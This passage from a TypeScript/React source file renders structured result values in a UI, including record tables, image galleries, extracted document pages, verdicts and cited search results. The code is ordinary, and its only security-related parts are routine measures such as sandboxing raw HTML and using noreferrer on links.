text-[12px]',\n headed && 'sr-only',\n )}\n >\n {label}\n </span>\n <NativeValue value={member.value} label={label} />\n </div>\n );\n })}\n </div>\n );\n}\n\n/**\n * One content of unknown model, rendered as the most specific thing it matches.\n *\n * Only reachable from `CompositeValue` — see that component for why reading a\n * value is allowed there and nowhere else in this file. `label` is the name the\n * member is shown under, which a table drawn here is named by.\n */\nfunction NativeValue({ value, label }: { value: unknown; label: string }) {\n if (value === null || value === undefined || value === '') return <Absent />;\n // A bare string names no model, and is text: read as a date, a member that\n // is one printed Markdown as a line.\n if (typeof value === 'string') return <Markdown text={value} />;\n // A plural member rendered raw, as a plural result can arrive.\n if (Array.isArray(value)) return <NativeList items={value} label={label} />;\n if (!isRecord(value)) return <Scalar value={value} />;\n\n const content = readMemberContent(value);\n switch (content?.model) {\n case 'html':\n // A composite member carries no file controls, as its download carries none.\n return <HtmlPreview content={content.html} downloadPdf={false} />;\n case 'date':\n return <span className=\"text-[13px] text-foreground\">{formatDateContent(content.date)}</span>;\n case 'image':\n // Drawn, as an image result is, rather than named as a link to a file.\n return <ImageValue value={value} downloadable={false} />;\n case 'document':\n return (\n <FileRef\n url={content.document.url}\n {...(content.document.mimeType !== undefined\n ? { mimeType: content.document.mimeType }\n : {})}\n {...(content.document.filename !== undefined\n ? { filename: content.document.filename }\n : {})}\n />\n );\n case 'list':\n // A plural member in the `ListContent` envelope, as the runner hydrates one.\n return <NativeList items={content.items} label={label} />;\n case 'text':\n return content.text === '' ? <Absent /> : <Markdown text={content.text} />;\n case undefined:\n // A record no content model claims, a structure's or one that carries a\n // model's member beside members of its own: shown whole, never with the\n // members a model does not declare dropped.\n return <RawValue value={value} compact={false} />;\n }\n}\n\n/**\n * The text `NativeValue` typesets as Markdown for a member, or `undefined`\n * for a member it draws as anything else: the same two arms, a bare string and\n * a record the text model claims, so `CompositeValue` asks whether a member\n * heads itself of exactly the text that will be drawn.\n */\nfunction memberText(value: unknown): string | undefined {\n if (typeof value === 'string') return value === '' ? undefined : value;\n if (!isRecord(value)) return undefined;\n const content = readMemberContent(value);\n return content?.model === 'text' && content.text !== '' ? content.text : undefined;\n}\n\n/** A composite member that is a list: a table of structures, or one content per line. */\nfunction NativeList({ items, label }: { items: readonly unknown[]; label: string }) {\n if (items.length === 0) return <Absent />;\n // Records that are none of the content models are structures, and a list of\n // structures reads as a table, as it does wherever a descriptor states one.\n if (items.every(isPlainRecord)) return <RecordsTable items={items} label={label} />;\n return (\n <div className=\"divide-y divide-border/60 overflow-hidden rounded-lg border border-border\">\n {items.map((item, index) => (\n <div key={index} className=\"bg-card/40 px-3 py-1.5\">\n <NativeValue value={item} label={label} />\n </div>\n ))}\n </div>\n );\n}\n\n/**\n * The members each content model a composite member may be declares, as the\n * runtime's models state them, never as the readers below read them: a record\n * is read as a model only when every member it holds is one of these.\n *\n * Without that rule a record was claimed by the first model whose one member\n * it carried, and every member that model does not declare was dropped: a\n * structure's `{date, amount, payee}` read as a date, `{name, url, price}` as a\n * file and `{text, score}` as a text, each losing the rest. A date also arrives\n * in the serializer's typed envelope, so its two markers are a date's members.\n */\nconst TEXT_MEMBERS: ReadonlySet<string> = new Set(['text']);\nconst DATE_MEMBERS: ReadonlySet<string> = new Set(['date', 'time', ...TYPED_SCALAR_MARKERS]);\nconst HTML_MEMBERS: ReadonlySet<string> = new Set(['inner_html', 'css_class']);\nconst DOCUMENT_MEMBERS: ReadonlySet<string> = new Set([\n 'url',\n 'public_url',\n 'mime_type',\n 'filename',\n 'title',\n 'snippet',\n]);\nconst IMAGE_MEMBERS: ReadonlySet<string> = new Set([\n 'url',\n 'public_url',\n 'source_prompt',\n 'source_negative_prompt',\n 'caption',\n 'mime_type',\n 'width',\n 'height',\n 'filename',\n]);\nconst LIST_MEMBERS: ReadonlySet<string> = new Set(['items']);\n\n/** Whether every member the record holds is one the model declares. */\nfunction holdsOnly(record: Record<string, unknown>, members: ReadonlySet<string>): boolean {\n return Object.keys(record).every((key) => members.has(key));\n}\n\n/** A composite member read as the content model that claims it. */\ntype MemberContent =\n | { model: 'html'; html: HtmlContentView }\n | { model: 'date'; date: DateContentView }\n | { model: 'image' }\n | { model: 'document'; document: DocumentContentView }\n | { model: 'list'; items: readonly unknown[] }\n | { model: 'text'; text: string };\n\n/**\n * The content model a composite member's record is, read through the\n * standard's readers, or `undefined` when none claims it. The one answer both\n * `NativeValue` and `isPlainRecord` read, so a record drawn as a table row is\n * never one a member would have drawn as a content, nor the other way round.\n *\n * Each model claims a record only when the record holds nothing that model\n * does not declare and carries the member its reader requires. A picture and\n * a document both carry a `url`: a record holding a member only an image\n * declares (a caption, a prompt, a pixel size) is a picture, and one holding\n * only the members both declare is a picture when its media type is an\n * image's, and a document otherwise.\n */\nfunction readMemberContent(record: Record<string, unknown>): MemberContent | undefined {\n if (holdsOnly(record, HTML_MEMBERS)) {\n const html = readHtmlContent(record);\n if (html) return { model: 'html', html };\n }\n if (holdsOnly(record, DATE_MEMBERS)) {\n const date = readDateContent(record);\n if (date) return { model: 'date', date };\n }\n if (holdsOnly(record, IMAGE_MEMBERS)) {\n const image = readImageContent(record);\n if (\n image &&\n (!holdsOnly(record, DOCUMENT_MEMBERS) ||\n image.mimeType?.toLowerCase().startsWith('image/') === true)\n ) {\n return { model: 'image' };\n }\n }\n if (holdsOnly(record, DOCUMENT_MEMBERS)) {\n const document = readDocumentContent(record);\n if (document) return { model: 'document', document };\n }\n if (holdsOnly(record, LIST_MEMBERS)) {\n const items = ownProp(record, 'items');\n if (Array.isArray(items)) return { model: 'list', items };\n }\n if (holdsOnly(record, TEXT_MEMBERS)) {\n const text = ownProp(record, 'text');\n if (typeof text === 'string') return { model: 'text', text };\n }\n return undefined;\n}\n\n/**\n * A record no content model claims: a structure the composite holds, whose\n * members are values rather than a page, a date, a file, a list or a text.\n * Asked of every entry of a list before it is drawn as a table.\n */\nfunction isPlainRecord(value: unknown): value is Record<string, unknown> {\n if (!isRecord(value) || Object.keys(value).length === 0) return false;\n return readMemberContent(value) === undefined;\n}\n\n/**\n * A composite member that is a list of structures, as a table.\n *\n * No descriptor states the structure's fields, so the columns are its members\n * in the order the entries first state them, every entry contributing the ones\n * it adds. A column is headed by its member's name, in words in `app` and as\n * written in `studio`, like a composite member's own name. A value the entry\n * leaves out is an absence, and a nested value is read the way any member is,\n * a table in a cell named as its column is headed.\n *\n * The box scrolls sideways rather than widening the panel, like every table in\n * the result view, so it is a named, focusable group.\n */\nfunction RecordsTable({\n items,\n label,\n}: {\n items: readonly Record<string, unknown>[];\n label: string;\n}) {\n const presentation = useFieldPresentation();\n const isApp = presentation === 'app';\n const box = useTableBox();\n const columns: string[] = [];\n for (const item of items) {\n for (const key of Object.keys(item)) if (!columns.includes(key)) columns.push(key);\n }\n // A column's name as this presentation shows it: its header, and the name of\n // a table drawn in one of its cells, which must read as the header does.\n const columnLabel = (column: string) => (isApp ? humanizeFieldName(column) : column);\n return (\n <div\n role=\"group\"\n aria-label={label}\n tabIndex={0}\n data-table-box={box.name}\n className={cn('overflow-x-auto', box.className, focusOutlineClass)}\n >\n <table className=\"min-w-full border-collapse text-[12.5px] text-foreground\">\n <thead>\n <tr className=\"border-b border-border bg-card/40\">\n {columns.map((column) => (\n <th\n key={column}\n scope=\"col\"\n className={cn(\n 'px-2.5 py-1.5 text-start align-bottom font-semibold',\n !isApp && 'font-mono text-[12px]',\n )}\n >\n {columnLabel(column)}\n </th>\n ))}\n </tr>\n </thead>\n <tbody>\n {items.map((item, index) => (\n <tr key={index} className=\"border-b border-border/60 last:border-b-0\">\n {columns.map((column) => {\n const cell = ownProp(item, column);\n return (\n <td key={column} className=\"px-2.5 py-1.5 align-top\">\n {typeof cell === 'boolean' ? (\n <Bool value={cell} />\n ) : typeof cell === 'object' && cell !== null ? (\n // Out of the host's panel, as far as a table in the\n // cell knows, since this table is what frames it.\n <PanelEnvOverride\n downloads={undefined}\n tableLayout={undefined}\n framed={false}\n >\n <NativeValue value={cell} label={columnLabel(column)} />\n </PanelEnvOverride>\n ) : (\n <Scalar value={cell} />\n )}\n </td>\n );\n })}\n </tr>\n ))}\n </tbody>\n </table>\n </div>\n );\n}\n\n/** A plain object, for the one arm that has to ask. */\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return typeof value === 'object' && value !== null && !Array.isArray(value);\n}\n\n/**\n * A list of PROSE, as plain lines.\n *\n * `prose` is the standard's way of saying \"this may be long\", and `native.Text`\n * always derives to it — so this is what a list of plain strings actually is,\n * and it is the most common result list there is. Chips are wrong for it: a chip\n * containing a paragraph is a box with a paragraph in it. Cards are worse: a\n * bordered box and an index number around the word `Mercury`.\n *\n * So: the values, one per line, divided by a hairline. Nothing else — the index\n * a card carried labels nothing, because the entries of a scalar list are the\n * values.\n */\nfunction ScalarLines({ field, items }: { field: RunField; items: readonly unknown[] }) {\n return (\n <div className=\"divide-y divide-border/60 overflow-hidden rounded-lg border border-border\">\n {items.map((item, index) => (\n <div key={index} className=\"bg-card/40 px-3 py-1.5\">\n <LeafValue field={field} value={item} />\n </div>\n ))}\n </div>\n );\n}\n\n/**\n * A list of IMAGES is a gallery, not a stack of cards.\n *\n * The card layout gives every entry a bordered box, an index and a label row —\n * a screenful per picture, when the picture is the entire content. A grid shows\n * them the way a person looks at images: several at once, compared side by side.\n * An entry whose URL the browser cannot paint keeps its reference, because a\n * grid of identical broken-image glyphs would be worse than the text.\n *\n * A tile opens the gallery's one viewer at its own picture, and the viewer\n * moves through the pictures the gallery can paint, in the gallery's order;\n * one it cannot paint is a name in the grid and not a stop in the viewer.\n * Each picture's controls in the viewer sit at that picture's place in the\n * result, so its download is named as the tile's own would be.\n */\nfunction ImageGallery({ items }: { items: readonly unknown[] }) {\n const s = useFieldStrings();\n // A grid of empty squares is not a gallery. When NOTHING here can be painted -\n // every URL a storage reference the host has no resolver for - the tiles carry\n // no picture, and three large blanks say less than three lines would. So the\n // layout follows what is actually showable rather than what the kind promises,\n // asked exactly as each tile asks it (`paintableUrl`, the host's resolver\n // first): a stored picture the host resolves is showable, and a gallery of\n // them is a gallery.\n const resolve = useResolveUrl();\n // The entry shown, and the tile that opened the viewer, which focus goes\n // back to when it closes whichever picture it was moved to.\n const [viewing, setViewing] = useState<{ entry: number; opener: number } | null>(null);\n const tiles = useRef(new Map<number, HTMLButtonElement>());\n const gallery = useRef<HTMLDivElement>(null);\n const pictures = items.flatMap((item, entry) => {\n const content = readImageContent(item);\n const src = content ? paintableUrl(content, resolve) : undefined;\n return content && src !== undefined ? [{ entry, item, content, src }] : [];\n });\n const shown = viewing ? pictures.findIndex((picture) => picture.entry === viewing.entry) : -1;\n // The picture shown is gone (the list changed, or the host's resolver\n // stopped answering for it): the viewer closes, and stays closed. Kept open\n // on another picture it would show one the reader did not ask for, and\n // kept in state while it cannot be drawn it would come back by itself\n // when the picture did. The same adjustment during render `LoadingImage`\n // makes when its picture changes.\n if (viewing && shown === -1) setViewing(null);\n // Where focus goes as the viewer closes: the tile that opened it, or when\n // that tile is gone the first tile left, or the gallery itself, so focus\n // never falls back to the page's body.\n const returnFocus = (opener: number) => () => {\n const first = [...tiles.current.entries()].sort(([a], [b]) => a - b)[0]?.[1];\n return tiles.current.get(opener) ?? first ?? gallery.current;\n };\n // The one element both layouts share, so focus has somewhere to land when\n // a gallery whose viewer was open becomes rows.\n const frame = (children: React.ReactNode) => (\n <div ref={gallery} tabIndex={-1} className=\"outline-none\">\n {children}\n </div>\n );\n if (pictures.length === 0) return frame(<FileRows items={items} kind=\"image\" />);\n return frame(\n <>\n <div className=\"grid grid-cols-[repeat(auto-fill,minmax(140px,1fr))] gap-2\">\n {items.map((item, index) => (\n <div key={index} className=\"overflow-hidden rounded-lg border border-border bg-card/40\">\n <ResultAt segment={String(index)}>\n <ImageValue\n value={item}\n inGallery\n opener={{\n open: () => setViewing({ entry: index, opener: index }),\n ref: (button) => {\n if (button) tiles.current.set(index, button);\n else tiles.current.delete(index);\n },\n }}\n />\n </ResultAt>\n </div>\n ))}\n </div>\n {viewing && shown !== -1 && (\n <ImageViewer\n pictures={pictures.map(({ entry, item, content, src }) => ({\n src,\n name: fileLabel(src, content.filename, s),\n ...(content.caption ? { caption: content.caption } : {}),\n actions: (\n <ResultAt segment={String(entry)}>\n <ViewerFileActions value={item} src={src} />\n </ResultAt>\n ),\n }))}\n index={shown}\n onIndexChange={(position) => {\n const picture = pictures[position];\n if (picture) setViewing({ entry: picture.entry, opener: viewing.opener });\n }}\n onClose={() => setViewing(null)}\n returnFocus={returnFocus(viewing.opener)}\n />\n )}\n </>,\n );\n}\n\n/**\n * A gallery's picture's controls in the viewer, drawn at the picture's place\n * in the result: its URL to copy, and its download, named as its tile's would\n * be.\n */\nfunction ViewerFileActions({ value, src }: { value: unknown; src: string }) {\n const file = useStuffFile('image', value);\n const content = readImageContent(value);\n return (\n <FileActions copy={{ url: src, ...(content ? { storageUrl: content.url } : {}) }} file={file} />\n );\n}\n\n/**\n * A list of FILES is a list of rows, not a list of cards.\n *\n * A document's whole content is a name and a link; wrapping each in a card with\n * an index spends the chrome of a structure on two fields. Rows keep them\n * scannable, which is what a list of sources is for.\n */\nfunction FileRows({ items, kind }: { items: readonly unknown[]; kind: 'document' | 'image' }) {\n return (\n <div className=\"divide-y divide-border overflow-hidden rounded-lg border border-border\">\n {items.map((item, index) => (\n <div key={index} className=\"bg-card/40 px-3.5 py-2\">\n <ResultAt segment={String(index)}>\n {kind === 'document' ? (\n <DocumentValue value={item} />\n ) : (\n <ImageValue value={item} inRow />\n )}\n </ResultAt>\n </div>\n ))}\n </div>\n );\n}\n\n/**\n * The columns a list's element contributes — every field it declares.\n *\n * There is no longer a shape that disqualifies a record from being a row. Prose\n * and nesting used to send the whole list back to cards, which lost the\n * scannable shape for every other column to accommodate the widest one; they are\n * now shown in the row's expansion instead. What is left is the one case that is\n * not a record at all.\n *\n * Which of them a table SHOWS is a second question, answered by `chooseColumns`\n * against the host's budget.\n */\nfunction recordColumns(item: RunField): readonly RunField[] | undefined {\n if (item.kind !== 'object' || item.fields.length === 0) return undefined;\n return item.fields;\n}\n\n/**\n * The field that NAMES a record: its first `text` field in authored order.\n *\n * One rule, read in two places. A nested record's cell is named by it\n * (`RecordSummary`), and a table of records ranks it first and gives it a floor.\n * It is read off the field list alone, never off a value, so every row of a\n * column is named by the same field.\n */\nfunction recordNameField(fields: readonly RunField[]): RunField | undefined {\n return fields.find((member) => member.kind === 'text');\n}\n\n/**\n * Where a column ranks when a record has more fields than its table shows —\n * the lower tier is kept first, and within a tier the authored order decides.\n *\n * 1. **The record's name** — the column a reader identifies a row by.\n * 2. **A field that fits a cell whole** — an enum, a number, a date, a boolean,\n * a bounded `text` (see `fitsACellWhole`). These are the values a reader\n * compares down a column, and they cost the table the least width.\n * 3. **Any other `text`, and a list of scalars** — a cell shows them, but may\n * have to cut them short.\n * 4. **Everything else** — prose, a nested record, a list of records, a file. A\n * cell shows only a first line or a count for these anyway, and they are\n * where a wide table's width went.\n *\n * Read from the descriptor and never from a value, like every other layout rule\n * here: a table has the same columns in every row, and its shape does not move\n * with the data it happens to be showing.\n */\nfunction columnTier(field: RunField, name: RunField | undefined): 1 | 2 | 3 | 4 {\n if (field === name) return 1;\n // A list of bounded scalars fits whole too, since chips wrap; but its row\n // height grows with its length, so it ranks with the lists, below the values.\n if (field.kind !== 'list' && fitsACellWhole(field)) return 2;\n if (field.kind === 'text' || (field.kind === 'list' && isInlineColumn(field))) return 3;\n return 4;\n}\n\n/** What a table of records shows, once its budget has been applied. */\ninterface ChosenColumns {\n /** The columns shown, in AUTHORED order. */\n shown: readonly RunField[];\n /** How many of the record's fields only the row's detail shows. */\n hidden: number;\n /** The name column, in every table that has one. It is the one given a floor. */\n name?: RunField;\n}\n\n/**\n * The columns a table shows: the top of the ranking, up to the budget, laid out\n * in the order the method's author wrote them.\n *\n * **The ranking selects and does not reorder.** Authored order is a fact the\n * descriptor carries deliberately, and a table whose columns moved whenever a\n * field was added would read differently from the record its rows open into.\n *\n * **Within the budget nothing is hidden and nothing moves.** Every field is a\n * column, in authored order, and no row gains a toggle it did not have. The\n * name is still named, because the name rule is not a budget rule: a long name\n * cut at the cell cap is as wrong in a table of three columns as in one of\n * twelve.\n */\nfunction chooseColumns(fields: readonly RunField[], budget: number): ChosenColumns {\n const name = recordNameField(fields);\n if (fields.length <= budget) return { shown: fields, hidden: 0, ...(name ? { name } : {}) };\n const kept = new Set(\n fields\n .map((field, index) => ({ field, index, tier: columnTier(field, name) }))\n .sort((a, b) => a.tier - b.tier || a.index - b.index)\n .slice(0, budget)\n .map(({ field }) => field),\n );\n return {\n shown: fields.filter((field) => kept.has(field)),\n hidden: fields.length - kept.size,\n ...(name ? { name } : {}),\n };\n}\n\n/**\n * What a page's raw markup may load in its frame: inline `data:` pictures and\n * faces, and nothing from the network.\n *\n * A method's own page embeds the pictures that method produced, which is why\n * the frame's default lets it load them. Raw markup is a page an extractor\n * fetched from somewhere else, and holds that page's images, faces, CSS\n * `url()`s and `<noscript>` tracking pixels, which would load as the result is\n * shown; its relative URLs would also resolve against the host's page and be\n * fetched from the host's own origin, with the host's cookies.\n */\nconst RAW_PAGE_SOURCES = 'data:';\n\n/**\n * One page of an extracted document, as the document it is.\n *\n * `native.Page` is `{text_and_images: {text, images, raw_html}, page_view}`,\n * an `object` node, and the structural renderer drew it as a record: in a\n * list, a table whose name column was `raw_html`, which an extractor leaves\n * empty. The reader came for the page's TEXT, so that is what is drawn,\n * typeset, with the extractor's comments dropped and its tables drawn as\n * tables (`ExtractedPageText`), then the pictures taken out of the page.\n *\n * The page view, a picture of the whole page, is the page a second time. A\n * builder checking an extraction compares the two, so `studio` always shows\n * it, under its own label; a method app's reader is shown it only when the\n * extractor found nothing else on the page, where it is the page's one\n * content.\n *\n * Whether the page HAS text is the reading's answer, not the string's: a page\n * whose text is only the extractor's comments (`<!-- PageNumber=\"1\" -->`) has\n * none to show, and is drawn as a page with no text rather than as a blank\n * card. A page with no text whose extractor kept its raw markup shows that\n * markup instead, framed by `HtmlPreview` under a policy that lets it load\n * nothing from the network (`RAW_PAGE_SOURCES`), and never injected; a page\n * with text leaves it out, since the text already carries the page's content.\n */\nfunction PageValue({ field, value, depth }: { field: RunField; value: unknown; depth: number }) {\n const presentation = useFieldPresentation();\n const content = readPageContent(value);\n const text = content?.text;\n const segments = useMemo(() => (text === undefined ? [] : splitExtractedText(text)), [text]);\n const hasText = segments.length > 0;\n const rawHtml = hasText ? undefined : content?.rawHtml;\n const rawPage = useMemo(\n () => (rawHtml === undefined ? undefined : { innerHtml: rawHtml }),\n [rawHtml],\n );\n if (!content) return <Absent />;\n const extracted = hasText || rawPage !== undefined || content.images.length > 0;\n const showView = content.pageView !== undefined && (presentation === 'studio' || !extracted);\n if (!extracted && !showView) return <Absent />;\n // The descriptor's own node for the page view, so `studio` labels it as the\n // method names it and the picture is drawn by the arm that draws an image.\n const viewField =\n field.kind === 'object'\n ? field.fields.find((member) => member.name === 'page_view')\n : undefined;\n return (\n <div className=\"space-y-3\">\n {hasText && <ExtractedPageText segments={segments} />}\n {rawPage && (\n <HtmlPreview\n content={rawPage}\n downloadPdf={false}\n imgSrc={RAW_PAGE_SOURCES}\n fontSrc={RAW_PAGE_SOURCES}\n />\n )}\n {content.images.length > 0 && (\n <ResultAt segment=\"text_and_images\">\n <ResultAt segment=\"images\">\n <ImageGallery items={content.images} />\n </ResultAt>\n </ResultAt>\n )}\n {showView && (\n <ResultAt segment=\"page_view\">\n {presentation === 'studio' && viewField ? (\n <ResultField field={viewField} value={content.pageView} depth={depth + 1} />\n ) : (\n <ImageValue value={content.pageView} />\n )}\n </ResultAt>\n )}\n </div>\n );\n}\n\n/** A verdict as a reader takes it in: the answer, and how sure its producer was. */\ninterface VerdictReading {\n answer: string;\n measure?: string;\n}\n\n/**\n * A verdict's value, read into the words it is shown in. `undefined` when the\n * value is not the model its concept states, which leaves the node to the\n * structural arms, as any value that disagrees with its descriptor is.\n */\nfunction readVerdict(\n verdict: 'yes_no' | 'rating' | 'choice',\n value: unknown,\n s: FieldStrings,\n): VerdictReading | undefined {\n if (verdict === 'yes_no') {\n const content = readYesNoContent(value);\n if (!content) return undefined;\n return {\n answer: content.yesNo ? s.yes : s.no,\n ...(content.probability !== undefined\n ? { measure: s.yesProbability(content.probability) }\n : {}),\n };\n }\n if (verdict === 'rating') {\n const content = readRatingContent(value);\n if (!content) return undefined;\n return {\n // A scale that names its levels says which one in words; one that does\n // not is counted from one, as a reader counts.\n answer: content.label ?? s.ratingLevel(content.level + 1),\n ...(content.confidence !== undefined\n ? { measure: s.verdictConfidence(content.confidence) }\n : {}),\n };\n }\n const content = readChoiceContent(value);\n if (!content) return undefined;\n return {\n answer: humanizeEnumValue(content.choice),\n ...(content.confidence !== undefined\n ? { measure: s.verdictConfidence(content.confidence) }\n : {}),\n };\n}\n\n/**\n * A verdict, drawn as one: the answer large, and the producer's measure under\n * it. `prominent` is the whole result a panel shows (`PanelResult`), where\n * the answer is the whole of what the reader came for; a verdict anywhere else,\n * inside a structure, in a list or in a subtree a layout delegates, is one\n * value among others, and reads at the size of a value.\n */\nfunction VerdictValue({ reading, prominent }: { reading: VerdictReading; prominent: boolean }) {\n return (\n <div className=\"space-y-0.5\">\n <p\n className={cn(\n 'font-semibold text-foreground',\n prominent ? 'text-[22px] leading-tight' : 'text-[15px] leading-snug',\n )}\n >\n {reading.answer}\n </p>\n {reading.measure !== undefined && (\n <p className=\"text-[12.5px] text-muted-foreground\">{reading.measure}</p>\n )}\n </div>\n );\n}\n\n/**\n * A search result, drawn as one: the answer, typeset at the result's full\n * width with each inline citation a link to the source it names, then the\n * sources, each once.\n *\n * A source is a web page, not a file, so it has no download, no copy control\n * and no file name. A source with a web address is drawn as a link opening in a\n * tab of its own: its title (or its address, when it has none) and its site's\n * host name. A source with any other address is the same entry in plain text,\n * with no host name and no link. Each source is\n * marked with the citations that name it (`[1]`, or `[1][3]` for a page the\n * payload listed twice), so a reader can find the source behind a number.\n */\nfunction SearchResultValue({ content }: { content: SearchResultContentView }) {\n const s = useFieldStrings();\n const headingId = useId();\n // Made afresh on each render, with no memo: `content` is read from the value\n // on every render of the arm, so a memo keyed on it would never hit.\n const citations = (citation: number) => {\n const source = citedSource(content, citation);\n return source?.href ? { href: source.href, label: source.title ?? source.address } : undefined;\n };\n return (\n <div className=\"space-y-3\">\n {content.answer.trim() === '' ? (\n <Absent />\n ) : (\n <Markdown text={content.answer} citations={citations} />\n )}\n {content.sources.length > 0 && (\n <div className=\"space-y-1.5\">\n <p id={headingId} className=\"text-[12px] font-medium text-muted-foreground\">\n {s.searchSources}\n </p>\n {/* One marker column for the whole list, as wide as its widest\n marker, so every title starts at one edge: after `[10]` and\n after a merged `[4][5]` as after `[1]`. Each entry spans both\n columns as a subgrid of the list's, and stays a list item. */}\n <ul\n aria-labelledby={headingId}\n className=\"grid grid-cols-[max-content_minmax(0,1fr)] gap-x-2 gap-y-1\"\n >\n {content.sources.map((source) => (\n <li\n key={source.citations[0]}\n className=\"col-span-2 grid grid-cols-subgrid items-baseline\"\n >\n <span className=\"font-mono text-[11px] tabular-nums text-muted-foreground\">\n {source.citations.map((citation) => `[${citation}]`).join('')}\n </span>\n <SearchSource source={source} />\n </li>\n ))}\n </ul>\n </div>\n )}\n </div>\n );\n}\n\n/**\n * One source: its title, else its address, and the site's host name under it.\n * The whole entry is the link, so it is one tab stop, and below `sm` it is 44\n * pixels tall at least, so a finger can follow it. An address that is not a\n * web one is shown as text and links nowhere.\n */\nfunction SearchSource({ source }: { source: SearchSourceView }) {\n const body = (\n <>\n <span\n className={cn(\n 'text-[13px] leading-5 wrap-anywhere text-foreground',\n source.href && 'underline underline-offset-2',\n )}\n >\n {source.title ?? source.address}\n </span>\n {source.host && (\n <span className=\"block text-[12px] leading-4 text-muted-foreground wrap-anywhere\">\n {source.host}\n </span>\n )}\n </>\n );\n if (!source.href) return <div className=\"min-w-0\">{body}</div>;\n return (\n <a\n href={source.href}\n target=\"_blank\"\n // `noreferrer` as well as `noopener`: a result view has no business\n // telling a site which page its reader came from.\n rel=\"noopener noreferrer\"\n className={cn('block min-w-0 rounded-sm max-sm:py-1.5', focusOutlineClass)}\n >\n {body}\n </a>\n );\n}\n\n/**\n * Whether a `text` value is LONG: it holds a line break, or runs past what one\n * line of a table cell holds (`CELL_LENGTH_LIMIT`).\n *\n * `text` is the standard's kind for a value with no promise about its length,\n * and a method fills it with a name in one run and a memo in the next. A short\n * one is a value, and sits beside its label; a long one is something written,\n * so in `app` it takes the full width under its label and is typeset as the\n * Markdown a model writes. Read off the value because nothing else can say:\n * the descriptor states the kind, and the kind is the same either way.\n */\nfunction isLongText(value: unknown): value is string {\n return typeof value === 'string' && (value.includes('\\n') || value.length > CELL_LENGTH_LIMIT);\n}\n\n/**\n * The text a leaf node typesets as Markdown, or `undefined` for one it prints\n * plain: a `prose` value in either presentation, as `LeafValue` sets it, and a\n * long `text` value in `app` (see `isLongText`). The leaf arm of `ResultNode`\n * draws the text from this answer and hides a label over a text that heads\n * itself from the same one, so the two cannot drift apart. The kind is the\n * descriptor's; the value is read only for what is written in it.\n */\nfunction typesetText(field: RunField, value: unknown, isApp: boolean): string | undefined {\n if (typeof value !== 'string' || value === '') return undefined;\n if (field.kind === 'prose') return value;\n return isApp && field.kind === 'text' && isLongText(value) ? value : undefined;\n}\n\n/**\n * Whether a text names itself, in `app`: the view typesets it as Markdown\n * (`typesetText`) and it opens with a heading of its own. `value` is the\n * node's value as unwrapped by its content key.\n */\nfunction namesItself(field: RunField, value: unknown, isApp: boolean): boolean {\n const typeset = typesetText(field, value, isApp);\n return isApp && typeset !== undefined && opensWithHeading(typeset);\n}\n\n/**\n * Whether a whole result names itself, as a panel's title would: in `app`, a\n * text the view typesets that opens with a heading of its own. `value` is the\n * payload as it arrived, unwrapped here exactly as `ResultField` unwraps it.\n *\n * For `StuffViewer`, which then draws no title over it, even one its host\n * named, for the reason a label gives way to such a text in the leaf arm: the\n * name set over the heading read as the same title twice (\"Executive summary\"\n * over \"Launch Executive Summary\"). The heading is the one kept because the\n * run wrote it for this result, where a host's name is the output's for every\n * run, and because dropping it would draw a text other than the one the copy\n * control and the download hand over. One predicate for both, so the panel and\n * the leaf arm cannot disagree about which texts head themselves.\n */\nexport function resultHeadsItself(\n field: RunField,\n value: unknown,\n presentation: FieldPresentation,\n): boolean {\n return namesItself(field, unwrap(field, value), presentation === 'app');\n}\n\nexport interface ResultFieldProps {\n field: RunField;\n value: unknown;\n /** Nesting depth, used only for indentation. */\n depth?: number;\n /**\n * Suppress the field's own label. Set on a LIST ITEM, where the index already\n * identifies the entry: the standard says an element descriptor's `name` is\n * unused, and rendering it repeats the parent's label on every row.\n */\n hideLabel?: boolean;\n}\n\n/**\n * What the panel says of the `ResultField` beneath it: that it is the whole\n * result the panel shows, and whether the panel's host heads it. `null` for\n * every other node.\n *\n * Only `StuffViewer` says so, around the one field it renders. A verdict that\n * is the whole result is drawn large. And when the panel draws no title of its\n * own, which in `app` is when the host passes no `name`, the host heads the\n * result in its own words (\"7 results\"), so that node draws no count of its\n * own under the host's; a panel that draws the host's name as its title leaves\n * the count under it, since a title says no count.\n *\n * It is said explicitly because nothing else can stand in for it. A node's\n * depth cannot: the generative layer's result hatch (`MthdsResult`) mounts a\n * subtree of a result at depth 0, with a label the layout chose, and that\n * subtree is a part of the result, not the whole of it. Neither can\n * `hideLabel`, which a hatch sets as freely as the panel does. A `ResultField`\n * a host renders on its own, and every node beneath the panel's, is a part too.\n */\ninterface PanelResultMark {\n hostHeaded: boolean;\n}\n\nconst PanelResultContext = createContext<PanelResultMark | null>(null);\n\n/** The two marks, made once, so a panel's re-render hands the field the same value. */\nconst TITLED_PANEL: PanelResultMark = { hostHeaded: false };\nconst HOST_HEADED_PANEL: PanelResultMark = { hostHeaded: true };\n\n/**\n * Marks the `ResultField` inside it as the whole result a panel shows, and says\n * whether the panel's host heads it. For `StuffViewer` alone.\n */\nexport function PanelResult({\n hostHeaded,\n children,\n}: {\n hostHeaded: boolean;\n children: React.ReactNode;\n}) {\n return (\n <PanelResultContext value={hostHeaded ? HOST_HEADED_PANEL : TITLED_PANEL}>\n {children}\n </PanelResultContext>\n );\n}\n\n/**\n * The single dispatch point, mirroring `FieldRenderer` on the input side.\n *\n * The outermost one also marks the root of the result, when no panel above it\n * has: a file's own download button names the file by its place in the result,\n * and the place starts here. Every nested one finds the root already there.\n */\nexport function ResultField(props: ResultFieldProps) {\n const location = useResultLocation();\n // Read by the one node it was set around, and cleared for every node beneath\n // it, each of which is a part of the result rather than the whole.\n const panel = use(PanelResultContext);\n const node = panel ? (\n <PanelResultContext value={null}>\n <ResultNode {...props} whole hostHeaded={panel.hostHeaded} />\n </PanelResultContext>\n ) : (\n <ResultNode {...props} />\n );\n if (location) return node;\n return (\n <ResultRoot baseName={props.field.name} path={[props.field.name]}>\n {node}\n </ResultRoot>\n );\n}\n\nfunction ResultNode({\n field,\n value,\n depth = 0,\n hideLabel = false,\n whole = false,\n hostHeaded = false,\n}: ResultFieldProps & {\n /** The whole result a panel shows: see {@link PanelResult}. */\n whole?: boolean;\n /** The whole result, headed by the panel's host rather than by a title: see {@link PanelResult}. */\n hostHeaded?: boolean;\n}) {\n const s = useFieldStrings();\n const unwrapped = unwrap(field, value);\n // Read up here, before any arm returns, because hooks may not follow one.\n const pageDownloadShown = useFileDownloadShown('markup');\n const pdfShown = usePdfSaveShown();\n const location = useResultLocation();\n const isApp = useFieldPresentation() === 'app';\n\n // The description rides the label's `title`, at every depth including this\n // one.\n //\n // On an INPUT it is guidance a person needs before typing, so it is printed\n // under 